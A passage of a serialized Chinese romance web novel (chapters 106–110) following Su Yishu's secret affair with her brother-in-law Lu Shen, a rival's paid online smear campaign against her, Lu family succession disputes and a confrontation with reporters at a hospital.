陆慎重新扣住她的十指,将她的双手按在座椅上方,身躯再次沉沉压下。
车厢内刚安静下来的空气重新沸腾,那种带有侵略性的、令人脸红心跳的暧昧再次蔓延。
苏亦姝在起伏的浪潮中,紧紧搂着这个男人,仿佛他是这洪荒世界里唯一的浮木。
她闭上眼,任由那种潮水般的感官享受将她彻底淹没。
车厢内的热度随着呼吸的平稳逐渐冷却。
苏亦姝眼底的迷离褪去,取而代之的是惯有
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的清明。
她支起身子,全然不顾身上细密的汗意,伸手够到滑落在地毯上的黑色风衣。
她当着陆慎的面,慢条斯理地扣上衬衫的扣子,指尖虽然还有些细微的战栗,但动作却十分平稳。
陆慎靠在靠背上,上身半裸,结实的胸膛上还带着几道显眼的抓痕。
他没动,只是冷眼瞧着她这副“事后清算”的模样,眸色深沉。
“穿上衣服,你这又是我大嫂的身份了?”
陆慎从兜里摸出一根烟点燃,火星在昏暗的空间里忽明忽灭,衬得他那张脸愈发邪肆。
苏亦姝拉上风衣拉链,顺了顺凌乱的长发,侧头看向窗外浓稠的夜色,声音平静。
“不然呢?难道要在这辆车里跟你谈婚论嫁吗?”
陆慎吐出一口烟圈,烟雾模糊了他的眉眼,却掩不住他自嘲的冷笑。
他猛地伸手,攥住她的手腕,用力一拽,迫使她看向自己。
“苏亦姝,刚才抱着我喊‘别放开’的人是谁?现在穿好衣服就翻脸不认人,你把我陆慎当成什么了?”
他咬着牙,每个字都像是从喉咙深处挤出来的,“在你眼里,我到底算你的什么人?”
苏亦姝对上他那双写满愤怒与占有的眼眸,心底最深处微微刺痛,面上却绽放出一个极其艳丽且讽刺的笑。
她伸出葱削般的指尖,隔着薄薄的烟雾,轻轻在他轮廓分明的脸上划过。
“算……床伴吧。”
陆慎的瞳孔骤然紧缩,握着她手腕的力度微微收紧。
“你说什么?”
“我说,”苏亦姝微微凑近,红肿的唇瓣微微张开,“刚好,我对你的身体和服务,都比较满意。在这方面,陆总确实很有天赋。”
“咔嚓”一声,陆慎另一只手里攥着的金属打火机被生生捏得变形。
他盯着她,所有的怒火最终化作了一声无奈的冷笑。
“好,很好。”陆慎扔掉烟头,倾身压向她,“能得到大嫂这么高的点评,我是不是应该说,是我的荣幸?下次寂寞的时候,是不是还得找我?”
苏亦姝没避开他的视线,只是淡淡一笑。
“那就要看陆总的表现,能不能一直让我保持新鲜感了。”
隔板后的阿信此时低声敲了敲玻璃:“爷,到云顶墅了。”
车子稳稳停下。
苏亦姝推开车门,下车前动作一顿,背对着陆慎留下一句话:
“陆慎,今天的事,只是为了发泄。我们之间,还是叔嫂。”
车门重重关上,苏亦姝头也不回地走进了别墅。
陆慎坐在后座,看着那个纤瘦的背影,真的被气笑了。
“床伴?”他低低呢喃,指尖抚过肩膀上被她抓出的血痕,“要是你喜欢……也不是不行……”
第一百零六章 苏亦姝你这个恶毒的女人
云顶别墅内,非常寂静。
苏亦姝没有开大灯,只开了墙壁上微弱的壁灯。
她赤着脚踩在地板上,径直走进主卧的浴室。
浴缸里,水流哗啦啦地响着,热气升腾,很快便在大块的防雾镜面上凝结出一层水汽。
她褪去那身沾染了铁锈味、霉味以及陆慎气息的黑色风衣,将整个人慢慢沉入水中。
水没过头顶,世界瞬间安静得只剩下自己沉重的心跳。
皮肤太过娇嫩,被烫得有些泛红,这种直白真切的灼热感,才让她觉得在那场荒唐的沉沦后,重新找回了真实感。
她仰起头,后脑勺抵在浴缸边缘,双眼无神地盯着天花板。
脑海里像是一部坏掉的放映机,疯狂闪回着。
苏振东歇斯底里的“野种”、赵西双贪婪又急切的嘴脸、还有陆慎在后座那双偏执到疯狂的眼……
“床伴……”她自嘲地呢喃着这两个字。
她知道陆慎被气得不轻,但那是目前维持他们之间关联的唯一借口。
如果不给这层关系贴上一个“明码标价”的标签,她怕自己真的会溺毙在陆慎那虚无缥缈的温柔里。
水声渐止。
苏亦姝闭上眼,大脑开始飞速运转。
苏振东虽然被关起来了,但他那个口误留下的祸根已经埋了下去。
赵西双这种人,估计已经得到消息了,经过今天这件事,她肯定不会善罢甘休。
还有妈妈留下的那些专利。
苏亦姝猛地睁开眼,眼底的迷离早已荡然无存,只剩下一片清明。
苏振东说,妈妈是为了护她成年才把专利转给苏家,并换取一个身份。
那么,这批专利里,会不会藏着关于她生父身世的真正线索?
难不成,真的是外祖家的?
她不清楚,但是,可以查!
她从浴缸里站起来,水珠顺着她玲珑有致的曲线滑落,落在地板上发出滴答声。
苏亦姝披上浴袍,走到书房,打开了电脑。
修长的手指在键盘上飞速敲击,屏幕的荧光映在她冷白的脸上,透着一股肃杀之气。
她先是在暗网发了一封邮件,接着,她调出了擎天集团内部那几个由她主导的科研项目。
那些项目,内核其实都源自妈妈留下的专利草图。
看着电脑屏幕上的数据,苏亦姝脑海里快速闪过几个计划。
接下来,有些事情该一步步来了。
第一步,她要苏氏彻底消失。
那些本不属于苏振东的专利,她要一张不剩地拿回来。
之前,这个想法不是没有过。但是念在毕竟父女一场的情分上,现在看来,这点薄弱的情分,也都没有了。
第二步,利用陆慎,把陆家那摊浑水搅得更乱。陆家,她终究是要离开的。那个地方,不是她的归宿,只是一个**和牢笼。
至于陆慎……
想到那个男人临别前阴鸷又无奈的眼神,苏亦姝的指尖微微一顿。
他是变数……
就在这时,窗外划过一道惊雷,暴雨倾盆而至。
苏亦姝倒了一杯红酒,站在落地窗前,看着远方陆家老宅的方向。
与此同时,赵家别墅。
“哐当”一声巨响,一只价值不菲的古董花瓶在墙角碎成了碎片。
赵西双站在卧室中央,胸口剧烈起伏,精致的妆容因为愤怒而显得有些扭曲。
她像是疯了一样,将梳妆台上的化妆品成片地扫落在地,满地的残红残绿,凌乱一片。
“陆慎……为什么又是你,你为什么,偏偏要跟我对着干!为什么!”
她咬牙切齿地吼出那个名字,声音里带着浓浓的哭腔。
陆慎对苏亦姝上心,她是知道的。
他们之间,已经不可能了,她也是知道的。
然而今天,
那是陆慎给她的最后警告,也是他在他们之间最后的切断。
“小姐,您消消气,为了那个苏亦姝气坏了身子不值当。”
保镖站在门口,低着头缩着脖子,生怕触了霉头。
“滚!都给我滚出去!”
赵西双歇斯底里地咆哮着。
直到房间重新陷入死一般的寂静,她才像是被抽干了力气,颓然地跌坐在地毯上。
窗外惊雷滚滚,暴雨如注,打在窗户上发出沉闷的声响。
她看着镜子里狼狈的自己,突然凄凉地笑了。
没可能了。
从她回国
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的那天起,她其实就知道,自己和陆慎之间早就完了。
她在国外那些荒唐的、糜烂的往事,陆慎手里握得一清二楚。
他那样一个有骄傲的人,怎么可能再回头看她一眼?
她一直以来的一厢情愿,在今天之后,彻底瓦解了。
“既然我得不到,谁也别想得到。”
赵西双慢慢抬起头,眼神里的癫狂逐渐沉淀为一种冰冷的死寂。
她随手抹了一把脸上的泪,手指沾染了粉底和口红。
她得不到陆慎,那她就要得到陆家,得到陆家所有的一切。
苏亦姝,你凭什么跟我争?你不过是个来历不明的野种。就算你有陆慎护着又怎样?在这个圈子里,没有底蕴,没有出身,你永远都是一棵无根的浮萍,任人踩踏。
“不死不休……是你逼我的。”
赵西双起身走到床头,拿起手机,拨通了一个号码。
“喂,是我。把苏振东在擎天**的视频发出去,买热搜,我要让全江城都知道苏亦姝是个不孝女。”
挂断电话,赵西双走到窗前,看着陆家老宅的方向。
她要让陆慎亲眼看着,他护在心尖上的女人,是如何被他的家族一点点撕碎。
“苏亦姝,陆我们走着瞧。”
翌日清晨。
苏亦姝刚下楼,还没来得及喝一口咖啡,温书的电话就火急火燎地打了进来。
“苏总监,出事了!昨天您父亲苏董在您办公室的视频被剪辑放到了网上,现在热搜第一全是苏氏集团董事长被亲生女儿赶出公司、保安暴力驱逐亲父的消息。”
苏亦姝放下杯子,拿过来旁边的平板电脑。
画面中,苏振东老泪纵横、狼狈不堪地被保安架出擎天大厦,配合着凄厉的配乐和刻意引导的标题:《豪门儿媳掌权后翻脸不认亲爹,苏氏老总濒临破产求助无门》。
下面的评论更是不忍直视:
“这种女人心肠是有多硬?亲爹都快**了,她还在那摆总监的谱。”
“听说她是克死前夫才拿到陆家股份的,啧啧,这种毒蛇,苏家养大她真是倒了八辈子霉。”
“这种人也配留在擎天?建议陆家直接踢出门!”
第一百零七章 我头一个饶不了你
苏亦姝合上平板电脑,指尖在冰冷的杯沿上摩挲。
屏幕上那些恶毒的谩骂不仅没让她动怒,反而让她眼底浮起一丝冷笑。
赵西双急了,急得甚至不惜动用这种伤敌一千自损八百的**战。
“利用**借势新产品?”苏亦姝低声呢喃,眸光清冽,“既然你们把热度送到我嘴边,我不吃,岂不是辜负了这份大礼。”
她没有联系公关部撤热搜,反而给温书回了条短信:
【不必压,让热度再烧两个小时,把新产品发布的预告贴混在这些黑料里一起发。】
随后,她换上一身职业套装,驱车前往陆家老宅。
陆家老宅。
苏亦姝踏入厅门时,一眼就看到了坐在上位的陆老爷子,以及旁边脸色阴沉的程丽梅。
显然,网上的动静他们已经知道了。
“亦姝,你还敢回来?”程丽梅冷哼一声,将平板电脑重重拍在桌上,“你看看外面把你传成什么样了?冷血不孝、毒蛇心肠!陆家的脸面都被你丢尽了!”
苏亦姝目不斜视,径直走到老爷子面前,微微颔首,语气平静得听不出波澜。
“爷爷,网上的事,我是来给您一个交代的。”
陆老爷子掀起眼帘,浑浊却锐利的目光盯着苏亦姝。
“苏振东去擎天闹,是因为我不肯动用**填补苏氏那百亿的亏空。”
苏亦姝直白切入,没有半分委婉,“他想要的不是女儿,是钱。爷爷,您教过我,生意场上没有情分,只有盈亏。苏氏现在是个无底洞,我若填了,才是损害了擎天的利益。”
陆老爷子沉默片刻,拐杖在地上顿了顿。
“那网上的那些?你就打算这么背着?”
“不,这是最好的营销。”苏亦姝抬眸,眼底带着自信的笑意。
“新产品后天上线,现在的黑热度就是免费的流量。等到产品发布,我会亲口澄清,届时,就会真相大白。我要让所有人看到,擎天不养闲人,也不受任何道德**。”
听到“损害利益”四个字,陆老爷子的神色终于缓和了几分。
对他而言,身世也好,名声也罢,只要不触碰到陆家的核心利益,他都能容忍。
“好。”老爷子发话了,声音苍劲有力,“你想借势,我不管。但有一点,陆家的名声不能坏。谁要是想利用陆家当垫脚石,或者是故意折损擎天的利益……”
他冷冷扫了一眼程丽梅,语气森然:“我绝不轻饶。”
程丽梅的脸青一阵白一阵,硬是没敢再多说一个字。
苏亦姝正准备离开,门外突然传来一阵动静。
大厅门口,陆域穿着一身深灰色西装,脊背挺拔,面色红润地走了进来。
“爷爷,我回来了。”陆域的声音清亮,透着掩盖不住的意气风发。
“阿域!”闻声而来陆子谦猛和柯沁从另一边快步过来,两人脸上写满了狂喜。
程丽梅看到这一幕,原本因为被老爷子训斥而难看的脸色,此刻更是黑如锅底。
陆域的腿好了,这对她来说,不是什么好事。
现在继承人的位置悬空,陆慎又……
想到陆慎,程丽梅朝着苏亦姝看去,眼底是抑制不住的愤怒。
要不是这个女人,陆慎怎么会被老爷子赶出家。
紧接着,三房的人也闻讯赶来。
陆彦走在后面,眼神在触及陆域双腿的那一刻,阴沉地闪烁了一下,随即立刻换上一副客套的笑脸。
“二哥,这真是大喜事啊。”陆彦走到近前,客套了一句,然后看向苏亦姝。
“大嫂,网上的视频我也看了,闹得确实有些难看,你要是有什么不方便出面的地方,尽管跟弟弟说,我帮你出面。”
苏亦姝神色淡淡,客疏地回了一句:“多谢四弟关心,不过这点小事,我自己能搞定。”
陆老爷子坐在上位,看着陆域稳健的步子,眼中透出几分罕见的欣慰。
“既然腿已经全好了,那就进公司吧。不过,你的腿目前也不能太劳累了,就从轻松的职位开始吧。”
陆域心中狂喜,眼底划过一抹得逞的光芒,但他面上的表情收敛得极好,只是谦卑地低头应道:“全听爷爷安排,我一定不负众望。”
“过几日,办个宴会吧,叫大家都来热闹热闹,也算是给阿域去去晦气。”
陆老爷子拍了拍扶手,听得出来,心情是不错的。
这话一出
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,原本还想拿网络视频刺苏亦姝几句的陆彦和三房人,立刻把话咽了回去。
老爷子在这个时候办宴会,明摆着是压根没把那点**当回事,谁要是再提,那就是打老爷子的脸。
二房陆子谦夫妇笑得合不拢嘴,满口应着。
苏亦姝见状,趁着众人围着陆域嘘寒问暖,微微垂眸,转身退了出去。
然而,她刚走到老宅的回廊,就被程丽梅拦住了。
“跟我来西院一趟。”
程丽梅面色阴冷,丢下一句话便率先朝西院走去。
西院的正厅内,程丽梅屏退了左右,转身看向苏亦姝,眼神里透着几分怨恨,却又夹杂着无奈。
“你刚才也看到了,陆域的腿好了。”
程丽梅走到窗前,背对着苏亦姝,声音紧绷。
“老头子不仅让他进公司,还要专门为他办宴会。这意味着什么,你不会不知道吧?”
苏亦姝站在厅中,姿态从容,“二弟康复,是陆家的喜事。”
“喜事?”程丽梅猛地转头,冷笑连连,“那是二房的喜事,不是我们大房的!陆域现在恢复了,这继承人的位置恐怕就要落到他头上去了。这原本,是我大房的!”
程丽梅停顿了一下,平复了下情绪。
“陆慎这段时间在干什么?他在外面有没有跟你联系过?”
苏亦姝心底冷笑,面上依旧平淡。
苏亦姝语调清冷,“自从医院我把他赶走后,我和他没联系,也没见过面,不知道他的情况。”
“没见过面?”程丽梅往前紧逼一步,死死盯着苏亦姝那张毫无破绽的脸。
“苏亦姝,你最好别跟我耍花样。陆慎当初是为了谁才惹怒老爷子的,你心里清楚!他虽然跟我之间有隔阂,但是说到底,也是从我肚子里出去的,我们之间的血脉,是分割不掉的。他要是真为了你把自己的一辈子搭进去,我头一个饶不了你!”
苏亦姝对上程丽梅那双因焦虑和愤怒而扭曲的神色,唇角勾起一抹极淡的嘲弄。
“婆婆既然这么担心陆慎,不如亲自去找他,或许比问我要快得多。”
“你——!”程丽梅气得胸口起伏,指着门口吼道,“滚出去!”
第一百零八章 我只看数据,不看演技
从程丽梅的西院出来,苏亦姝面无表情。
她刚转过拐角,便看到陆域站在不远处。
他没再坐轮椅,就那么站着,深灰色的西装衬得他整个人稳重了不少。
但不知道是不是错觉,苏亦姝觉得,腿好之后的陆域,眼神里多了一些以前没有的深沉和阴翳,像是变了个人。
之前的陆域,或多或少,她能看出一些来。但现在,有些难。
“大嫂。”陆域先开了口,带着几分笑意。
苏亦姝停住脚步,微微点头,疏离礼貌。
“二弟,还没回去休息?”
“爷爷让我过明天进公司,先从市场部做起。”
陆域往前走了两步,在苏亦姝面前站定,隔着几步路的距离。
“我想着,市场部和技术部往后分不开,所以特地等在这里,想找大嫂聊聊。”
苏亦姝微微蹙眉。
聊聊?她和陆域之间,除了那点各取所需的交易,还有什么好聊的?
对于他这套冠冕堂皇的说辞,苏亦姝一个字都不信。
“其实我也是刚进公司,对内部流程知道得并不多。”苏亦姝语调清冷,不露声色地拉开距离,“这样吧,等明天去了公司,你有什么不懂的再来找我,能帮忙的,我一定帮。”
这是典型的客套话。
陆域却像是没听出其中的推脱,笑着点了点头,随后压低了声音,身体微微前倾。
“大嫂,我也是刚得的消息,赵西双去找过苏可人了。”
苏亦姝拧了下眉头,而后淡淡地点了点头。
“多谢提醒。”
“不用谢。”陆域看着她,眼神里闪过一丝莫测的光,笑得意味深长,“毕竟,我现在跟大嫂可是合作关系。大嫂已经帮我进了公司,等时机成熟,对于大嫂该拿到的那份遗产,我自然也会竭尽全力帮大嫂夺回来。”
苏亦姝对上他的目光,礼貌性地道了声谢。“若是没其他事,我先走一步。”
她越过陆域径直走开,往外走去。
陆域以前和苏可人走得极近,甚至有过合作。
虽然现在他因为利益倒向了自己,但这这种人就像毒蛇,随时可能在背后反咬一口。
回到擎天集团技术部时,正是下午。
苏亦姝一进办公区,就察觉到气氛不对。
那些原本埋头工作的员工,在她经过时,眼神纷纷游移。
有人在窃窃私语,有人则带着一种审视和异样的目光看着她。
显然,网上那个关于“苏亦姝逼死亲父”的视频,已经传遍了整个公司。
苏亦姝视若无睹,推开办公室门。
“温书,召集核心组所有人到会议室。针对后天的新品上市,我们要进行最后的讨论。”
“明白。”温书立刻点头,神色严肃地退了出去。
会议室内,长桌两侧坐满了核心组的成员。
主位上,苏亦姝翻开手中的数据报告,清冷的声音在大厅回荡:
“关于后天新产品的加密算法,我做了微调……”
“苏总监。”
一个突兀的声音打断了她。
是技术二组的组长陈锋,他双手交叠放在桌上,眼神带着几分刻意的审视。
“在讨论产品之前,我觉得有件事您得先给大伙儿一个交代。现在全网都在传那个视频,因为那个视频,甚至有人开始抵制我们的新品。这影响……您打算怎么处理?”
会议室里瞬间安静得落针可闻,几十双眼睛齐刷刷地看向苏亦姝。
苏亦姝合上手中的文件夹,动作不轻不重,发出一声闷响。
她抬眼看向陈锋,神色平静得过分。
“交代?”她重复了一遍这两个字,忽然轻笑了一声,“陈组长想要什么交代?是想让我当众哭诉一下原生家庭的悲剧,还是想让我当场给苏振东打两百亿?”
陈锋语塞,硬着头皮道:“我不是那个意思,只是这**……”
“如果你是当事人,”苏亦姝打断他,语气没有任何起伏,“面对一个为了填补百亿亏空、不惜拿女儿名声和公司前途做筹码的‘父亲’,你会拿出两百亿买这个账吗?”
她环视一周,目光所及之处,不少人纷纷低下了头。
“如果各位里有人愿意这么做,那我只能说,我不如你心胸宽广,更不如你‘大公无私’。”
苏亦姝身体微微前倾,眼神锋锐,且带着几分犀利。
“如果还有人对我的私事有质疑,或者觉得我的人格会影响产品,现在就可以写报告向公司上级反应。要是没有,就给我闭嘴。大家是来工作的,不是来搞道德审判的。”
会议室里的气氛压抑到了极点。
“最后重申一遍,”苏亦姝坐在那没动,一双眼睛扫着众人
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“你们如果不服,觉得跟着我委屈,现在就可以收拾东西离开技术部。我不介意把我在苏氏带出来的团队全部换进来。他们不仅懂技术,更懂什么是服从。”
这话一出,原本还想跟着起哄的几个人立刻噤了声。
谁都知道苏亦姝在苏氏时期带出的那帮人有多变态,更知道擎天这份薪资在业内是什么水平。
在这个圈子里,离开了擎天,基本就等同于被一线大厂拉黑。
人心都是自私的,没人会为了一个苏振东丢了自己的金饭碗。
坐在一侧一直沉默的副总监马向东忽然轻咳了两声。
他推了推金丝眼镜,换上一副温和宽厚的笑脸,像是个出来打圆场的长辈。。
“苏总监,何必发这么大的火?陈组长也是为了公司着想。大家都是同事,说话不要这么剑拔**张的嘛。既然是私事,咱们私下处理好就行,别伤了大家的和气。”
马向东这番话说得滴水不漏,表面上在和稀泥,实际上却是在给苏亦姝扣帽子,坐实了她“公私不分”和“脾气暴戾”。
苏亦姝转过头,冷冷地看着他那张虚伪的脸。
“马副总监。”她特意在“副”字上加了重音,语气清冷。
“和气是留给同心协力的人的。如果技术部的人都忙着盯着上司的私生活,而忽视了手里的算法逻辑,那这‘和气’除了能让产品流产,还有什么用?”
马向东脸上的笑意僵了一瞬,“我这也是为了部门稳定……”
“稳定不是靠动嘴皮子和稀泥换来的。”
苏亦姝半点面子没给,当众直接怼了回去,“马副总监若是觉得陈组长说得对,大可以起草一份联名信去跟陆董建议撤我的职。若是不敢,就收起你那套‘好人’的嘴脸。在技术部,我只看数据,不看其他。”
马向东被噎得脸色青白交替,放在桌下的手死死攥紧,却一个字也反驳不出来。
整个会议室彻底鸦雀无声。
接下来的半小时,苏亦姝用极高的高压节奏复盘了所有细节。
直到散会,那些平日里自诩精英的组长们,一个个擦着冷汗走出去,再没一个人敢提“交代”二字。
回到办公室,苏亦姝站在落地窗前,看着脚下车水马龙的江城。
刚才不过是开胃菜,真正的博弈在后天……
第一百零九章 你付得起代价吗
办公室内,苏亦姝刚坐回位置,手机就震动了起来。
看到屏幕上的名字,苏亦姝神色微敛,按下了接听键。
“亦姝,是我。”顾向南的声音带着旅途的疲惫。
“查到什么了?”苏亦姝直接切入正题。
“我去了那个司机的老家。”顾向南沉声道,“找了他所有的亲戚,包括那个帮他办卡的远房表弟。但他表弟一问三不知,只说当时司机给了他一笔钱,让他办张卡存着,其他的什么都没交代。”
苏亦姝指尖无意识地敲击着桌面,“账户里的钱,查不到源头吗?”
“对方做得非常干净,是经过海外多个账户拆分转入的。”顾向南停顿了一下,接着说道,“不过,我见到了司机的老婆。我开出了她无法拒绝的条件,她才松了口。她说,司机出事前一晚整宿没睡,只跟她说了一句话:他如果不这么做,老婆孩子都得死。”
苏亦姝听着,心底掠过一丝意料之中的寒凉。
“所以,是灭口。”苏亦姝冷冷地勾起唇角,“向南,辛苦你了。这件事暂时先放一放吧,既然对方敢这么明目张胆地灭口,说明线索早就断了。查下去也只是浪费时间。”
只要她知道是谁在背后操纵,这个仇,她迟早会一寸一寸地讨回来。
“还有一件事。”顾向南的语气变得严肃,“我在查司机的过程中,发现还有一拨人在暗中调查你。甚至……他们还在查你母亲贺婉二十多年前的事情。”
苏亦姝敲击桌面的手猛地一僵,眼底划过一抹惊色,“查我妈妈?”
“你自己千万小心,这拨人来头不小。”
挂断电话,苏亦姝靠在椅背上,心里那股不安感愈发强烈。
还没等她细想,手机再次疯狂地震动起来,这次是方华睿打来的。
“亦姝!思荷醒了!”方华睿的声音因为激动而带着一丝颤抖。
苏亦姝猛地站起身,“我现在就过去。”
医院走廊里弥漫着消毒水的味道,苏亦姝一路疾步走到病房门口。
推开门,方思荷正虚弱地靠在床头。
看见苏亦姝,她苍白的脸上挤出一丝笑。
苏亦姝几步抢到床边,握住她的手,眼眶瞬间红了,声音带着止不住的颤抖。
“思荷,对不起……真的对不起。要不是为了救我,你也不会……”
“行了啊,苏总监,别在我这掉金豆子。”
方思荷虚弱地打趣道,回握住她的手,虽然没什么力气,但很暖。
“当时那种情况,谁还没点本能?我就是不想看你出事,没想那么多。”
苏亦姝喜极而泣,一边擦眼泪一边点头。
方思荷毕竟刚醒,说了没几句,精神就有些不济,慢慢又睡了过去。
病房外,方母靠在方父怀里哭成了泪人。
这两个月的提心吊胆,在这一刻终于彻底释放了。
苏亦姝站在一旁,心里像是堵了一块大石头,低声开口:“方叔叔,方阿姨,对不起,让你们担心了。都是我……对不起。”
方母擦了擦眼泪,看着苏亦姝,沉默了片刻,才长叹一口气:
“亦姝,阿姨实话实说,之前看着思荷躺在那一动不动,我确实怨恨过你,也说过些难听的话。但现在孩子醒了,我们也想通了,那是她自己的选择,她打小就护着你。你别往心里去,别介意阿姨当时的口不择言。”
方父也点点头:“醒了就好,你也别太自责了。”
苏亦姝心里很清楚,这声“不介意”包含了方家多大的包容。
她郑重地给两位长辈鞠了个躬:“谢谢叔叔阿姨。”
方家父母进屋去陪方思荷了,方华睿把苏亦姝带到走廊尽头,眉头微皱。
“亦姝,网上的视频……需不需要我出面。”
苏亦姝摇了摇头,神色恢复了往日的冷静。
“方大哥,不用。这波热度,我打算留着。”
方华睿愣了一下:“什么意思?”
“后天新品上市。”苏亦姝语气平静,“既然有人花大价钱给我买流量,不要白不要。等热度到了顶点,我再把反击的料放出去,这比任何广告都有用。”
方华睿见她条理清晰,心里有了成算,也就不再多劝,只是拍了拍她的肩膀。
“你心里有数就行。记住,有任何应付不来的,找我就行,方家永远站你这边。”
苏亦姝真心实意地道了声谢。
走出医院,苏亦姝还未上车,手机再次震动。
接通后,电话那头传来海绵难掩激动的声音。
“苏总!瑞士那边传回消息了,贺阿姨的神经反应测试指标大幅上升,医生说已经出现了自主意识萌动的迹象。只要维持目前的治疗方案,醒过来只是时间问题了!”
苏亦姝握着手机的手指猛然收紧,拿着手机的手微微颤抖。
“真的吗?你确定?”
“确定!主治医生说这是个奇迹!”
挂断电话,苏亦姝那在那,胸口剧烈起伏。
思荷醒了,妈妈也有了转机,接连的好消息让这两个月来的阴霾终于消散了一些。
她仰起头,长舒出一口气,眼底透出久违的希冀。
然而,就在这个时候,一阵嘈杂声传来。
“在那!苏亦姝在那!”
不知从哪钻出来的一群记者,扛着**短炮瞬间冲了过来,将苏亦姝死死围在中间。
镁光灯疯狂闪烁,刺得人睁不开眼。
“陆少夫人!对于网上疯传的逼死亲父视频,您一直保持沉默,是心虚了吗?”
“陆少夫人,传闻您和陆家三少陆慎关系暧昧,你们是叔嫂关系,这不就**了吗?”
“苏氏集团濒临破产,您作为亲生女儿却冷眼旁观,甚至动用保安暴力驱逐,您的道德底线在哪里?”
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问题一个比一个犀利,甚至带着明显的恶意引导。
苏亦姝被堵在墙角,脸色沉得难看,她冷冷扫过这些话筒上的标识,心里清楚,这又是赵西双或者陆家某些人的“杰作”。
“让开。”她声音不大,却透着彻骨的寒意。
但记者们非但没退,反而越挤越近,几乎要把麦克风戳到她脸上。
问题继续一个接着一个询问着。
这边的动静,引来医院门口不少人驻足观看。
甚至,有人认出了苏亦姝,拿出了手机拍摄。
苏亦姝的脸色,阴沉的可怕。
“你们再不让开,我要报警了!”
对于苏亦姝的话,那些记者似乎是有恃无恐。
“陆少夫人,麻烦你解释一下。还是说,你自己心虚了,一边玩着叔嫂之间的禁忌之恋,一边享受着你丈夫去世给你带来的福利?”
苏亦姝突然上前一步,在那名记者还没反应过来时,一把扣住对方的肩膀。
另一只手猛地拽下挂在记者胸前的工号牌,动作狠厉利落。
“蓝天周刊,王曼?”
苏亦姝盯着工号牌,嘴角勾起一抹极冷的弧度,那种从骨子里透出来的压迫感,让刚才还叫嚣的记者瞬间噤了声。
“陆少夫人,你想干什么……难道还要当众**不成?”记者的声音已经带了细微的颤栗。
“打你?”苏亦姝凑近她,声音极低,却字字如刀,清晰地传进在场每个人的耳朵里,“我怕脏了自己的手。”
她猛地甩开那记者的肩膀,随手将工号牌拍在对方的脑门上,力道大得惊人:
“心虚?禁忌?福利?”
苏亦姝环视全场,眼神所到之处,所有人下意识避其锋芒。
“第一,我有没有心虚,后天的证据会说话。倒是你,收了别人的钱来这里大放厥词,这份‘卖命钱’够不够你下半辈子在牢里吃官司,你可以回去问问你的主子。”
“第二,关于我丈夫留下的股份和福利。呵,拿着去世人来作为自己牟利的工具,你会遭天谴的。再说一句,那是陆域亲笔签下的转让协议,是法律保护下的正当所得!至于你嘴里那些龌龊的臆想——”
苏亦姝语气一沉,声线中透着不容置疑的震慑力:
“王记者,你今天说的每一个字,我都录下来了。诽谤陆家少夫人,折损擎天集团的商誉,你可以算算这笔赔偿金,你背后那个主子愿不愿意替你付。”
“最后,我警告你们所有人。”苏亦姝上前一步,周身寒气肆虐,“这江城确实有人能只手遮天,但那个人绝对不是给你发赏钱的赵西双。想要流量可以,但想要我的命,你们最好看看自己有没有那个成色的脖子来等我的刀!”
就在局面僵持不下时,走廊另一端突然冲出一队黑衣保镖,动作凌厉地强行切入人群。
“退后!全部退后!”
第一百一十章 大嫂,你那晚抱着我的时候
顾从之和陈淮一左一右挡在苏亦姝身前。
两人面色肃杀,周身散发的压迫感让叫嚣的记者们下意识地往后缩了缩。
“苏总监,慎哥让我们接您回去。”陈淮低声说了一句,眼神不善地剐过那群记者。
苏亦姝看着眼前这道熟悉的人墙,深吸一口气,拨开面前的保镖,站在了镜头面前。
她没有丝毫躲闪,那一双清冷的眸子直视着最前方的摄像机,红唇微启:
“我知道你们想要答案,也知道你们中间不少人是拿了别人的钱,专门来这里堵我的。”
她顿了顿,语气讥讽而强硬:“既然这么想知道真相,那就等后天。在擎天的新品发布会上,我会给你们一个满意的交代。现在,滚。”
最后那个字落下,气场全开。
记者们被她眼底的狠戾震慑,一时间竟无人敢再上前。
在顾从之和陈淮的护送下,苏亦姝穿过自动散开的人群,步履生风地走出了医院大门。
坐进黑色的劳斯莱斯,苏亦姝刚一上车,就察觉到了不对劲。
熟悉的气息瞬间将她包裹,偏过头,对上了陆慎那双如同深潭般的黑眸。
他穿了一件黑色的丝绸衬衫,领口随意散着,修长的手指间夹着一根没点燃的烟,姿态矜贵又带着几分玩世不恭。
“你疯了?你不该来这。”苏亦姝眉心紧蹙,声音里透着浓深的疲惫和抗拒。
陆慎盯着她苍白得几乎透明的脸,心底那股燥郁和心疼怎么也压不住。
他发出一声极轻的冷笑,嗓音低沉。
“我不该来?我不来,你打算在那站到什么时候?等着被那群疯狗撕碎,还是等着被那些唾沫星子淹死?”
“我自己能解决。”苏亦姝撇开脸,不想去看他的眼睛,“只要等后天的发布会……”
“你自己解决?”
陆慎猛地一把扣住她的下巴,逼她直视自己。两人之间的距离近到呼吸纠缠,陆慎的眼神里满是讽刺,更藏着某种偏执的怒火。
“苏亦姝,你所谓的解决,就是在那受着他们的羞辱,然后用那种杀敌一千自损八百的法子去硬刚?你就这么贱,非要把自己弄得鲜血淋漓才觉得痛快?”
“是,我就是这样的人!”苏亦姝被他眼底的轻蔑激怒,压抑了一整天的情绪终于有了决堤的趋势。
她死命挣扎开他的钳制,神色冷漠。
“陆慎,我们早就说清楚了。我是陆家大嫂,你是陆家三少,我们之间除了叔嫂关系,没有任何关系。你出现在这,只会让那些人更有文章可做!”
“没有任何关系?”陆慎气得笑出了声,他伸手死死按住她的肩膀,将她整个人钉在椅背上。
他俯下身,薄唇贴在她的耳际,每一个字都像是从齿缝里挤出来的。
“那晚在车后座,你哭着抱住我的时候,怎么没说没有任何关系?苏亦姝,你这副穿上衣服就翻脸不认人的绝情样,真让我恶心,也真让我……”
他顿了顿,语气突然软了下来,带着一种病态的温柔,“让我稀罕得要命。”
苏亦姝的身体僵住了,顿时心乱如麻。
“放开我。”她强撑着最后的冷硬。
“不放。”陆慎不仅没松手,反而变本加厉地将她揽进怀里,下巴抵在她的肩头。
他嗅着她发丝间的味道,声音低得只有两人能听见,“你尽管在外面撇清关系,尽管去演你的冷血总监。但苏亦姝你记住了,我陆慎想要得到的,就从未失手过。就算最后落得个支离破碎,我也乐意。”
“还有,要是觉得那些人聒噪,我可以把那些乱说话的嘴全给缝上。”
苏亦姝听着他狂妄又冰冷的话,让她整个人都不安起来。
这种极致的拉扯让她觉得窒息,却又让她有些眷恋。
她觉得自己病了,被陆慎给传染了疯病。
她闭上眼,任由那股酸涩涌上鼻腔。
“陆慎,你真是个疯子。”
“我早疯了。”陆慎自嘲一笑,对前面的阿信吩咐道,“开车,回云顶。”
劳斯莱斯稳稳停在云顶别墅门口。
